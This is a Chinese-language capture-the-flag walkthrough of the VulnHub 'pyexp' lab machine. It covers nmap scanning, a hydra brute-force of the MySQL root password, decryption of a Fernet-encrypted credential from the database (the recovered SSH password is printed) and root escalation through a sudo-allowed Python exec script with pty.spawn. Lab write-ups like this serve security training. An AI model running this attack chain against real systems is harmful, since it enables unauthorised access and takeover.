靶机下载地址
Download (Mirror): https://download.vulnhub.com/pyexp/pyexpvm.zip
信息收集
1.开启靶机,同时开启kali
老规矩,先扫描一下同一网段下的IP地址
arp-scan-l
扫描到了目标靶机的ip地址 192.168.217.179
用nmap端口扫描工具来对目标ip进行全端口扫描
nmap -p- 192.168.217.179
发现存在两个端口,分别为是1337和3306
1337对应的waste不知道是什么服务,我们可以用nmap进一步对目标ip进行扫描
nmap -p1337,3306 -sC -sV 192.168.217.17
发现1337端口对应的服务其实是ssh
漏洞探测
2.针对ssh,进行漏洞探测
用searchaploit来探测一下
searchsploit ssh 7.9
没有结果
再测试一下mysql
searchsploit mysql 5.5.5
看到了以.py为后缀的脚本,我们跑一下40360脚本
searchsploit -m 40360.py
把编号为40360的漏洞利用脚本复制到当前目录
运行脚本发现没法运行
这样只能试一试对mysql的密码进行爆破了
在这里,我们可以用kali自带的rockyou.txt文件,不过要解压一下
cd /usr/share/wordlists
gunzip rockyou.gz
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.127.179
成功找到了mysql的用户名和密码
Getshell
连接一下数据库
mysql -uroot -p -h 192.168.217.179
3.进入数据库中看一下有没有信息
show database;
use data;
show tables;
我们读取一下这个
是一些加密的内容
通过搜索我们可以知道fernet是一个python的加解密
官网有使用方法Fernet (symmetric encryption) — Cryptography 2.8 documentation
通过python交互模式解出密文
from cryptography.fernet import Fernet
key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
f = Fernet(key)
token = b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys="
f.decrypt(token)
解密之后看到了lucy的用户名和密码
lucy
wJ9`"Lemdv9[FEw-
ssh连接一下
ssh lucy@192.168.217.179 -p 1337
连接成功了
看到了第一个flag
提权
4.但是此时还不是root用户,所以我们要提权
sudo -l
sudo -l 看一下有没有什么可用的权限
这里有一个exp.py脚本,我们可以运行一下
看见这里有个exec的命令执行函数
ls -l 看一下这个脚本
发现有root权限
使用shell的Python代码就可完成提权
sudo /usr/bin/python2 /opt/exp.py
import pty;pty.spawn("/bin/bash")
就拿到root权限了
拿到第二个flag了
总结
这个靶机没有web服务,所以说得从其他端口服务入手。
测试mysql时,mysql渗透中的一些敏感函数:\!, load_file(), do_system()要注意。
拿到shell,提权时观察到了敏感函数exec,利用Python函数,本地提权。